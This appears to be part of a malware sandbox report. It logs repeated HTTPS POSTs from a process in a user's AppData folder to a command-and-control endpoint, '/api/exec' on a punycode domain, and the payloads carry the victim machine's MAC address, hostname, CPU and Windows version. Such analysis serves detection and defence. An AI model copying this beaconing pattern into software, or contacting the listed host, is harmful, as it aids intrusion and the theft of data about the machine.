2024-11-19 18:15:15 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49988	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:16 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49991	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:17 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:17 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49994	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:18 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:18 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49997	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:19 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:19 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50000	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:19 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:19 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50003	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:20 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:20 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50006	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:21 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50009	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:22 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:22 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50012	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:23 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:23 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50021	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:26 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:26 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50024	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:26 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:26 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50027	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:27 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:27 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50030	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:28 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:28 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50033	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:29 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:29 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50036	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:30 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:30 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

